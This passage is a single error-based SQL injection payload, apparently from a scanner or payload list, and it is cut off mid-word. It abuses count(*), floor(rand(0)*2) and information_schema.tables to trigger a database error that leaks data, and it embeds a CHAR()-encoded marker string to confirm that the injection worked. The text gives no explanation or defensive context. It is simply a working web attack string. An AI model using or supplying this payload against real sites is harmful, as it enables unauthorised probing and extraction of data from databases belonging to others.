"and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(103),CHAR(48),CHAR(56),CHAR(70),CHAR(50),CHAR(115),CHAR(82),CHAR(109)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables gr